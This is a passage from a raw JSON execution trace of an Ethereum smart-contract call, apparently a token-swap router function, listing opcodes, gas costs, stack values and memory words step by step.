b6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8451,"op":"PUSH2","gas":101462,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8454,"op":"JUMPI","gas":101459,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x1","0x1","0x210e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8462,"op":"JUMPDEST","gas":101449,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8463,"op":"PUSH1","gas":101448,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8465,"op":"SWAP1","gas":101445,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8466,"op":"DUP2","gas":101442,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8467,"op":"MUL","gas":101439,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8468,"op":"SWAP2","gas":101434,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x100","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8469,"op":"SWAP1","gas":101431,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20","0x20","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8470,"op":"SWAP2","gas":101428,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20","0x100","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8471,"op":"ADD","gas":101425,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20","0x100","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8472,"op":"ADD","gas":101422,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x20","0x120"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8473,"op":"MSTORE","gas":101419,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x136dbf40ac09b","0x140"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8474,"op":"DUP1","gas":101416,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8475,"op":"PUSH2","gas":101413,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8478,"op":"DUP2","gas":101410,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8479,"op":"PUSH2","gas":101407,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8482,"op":"JUMP","gas":101404,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x0","0x3bfb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15355,"op":"JUMPDEST","gas":101396,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15356,"op":"PUSH1","gas":101395,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15358,"op":"PUSH1","gas":101392,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15360,"op":"DUP3","gas":101389,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15361,"op":"ADD","gas":101386,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x0","0x2123","0x0","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000